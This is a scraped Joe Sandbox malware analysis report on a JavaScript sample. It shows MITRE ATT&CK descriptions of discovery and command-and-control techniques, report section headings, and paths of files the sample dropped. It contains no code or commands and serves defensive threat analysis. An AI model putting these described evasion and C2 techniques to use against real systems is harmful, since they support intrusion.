Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1709323591581122310.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2491a7a-da25-42f2-80b3-247275c37411.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6496

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1709323591581122310.js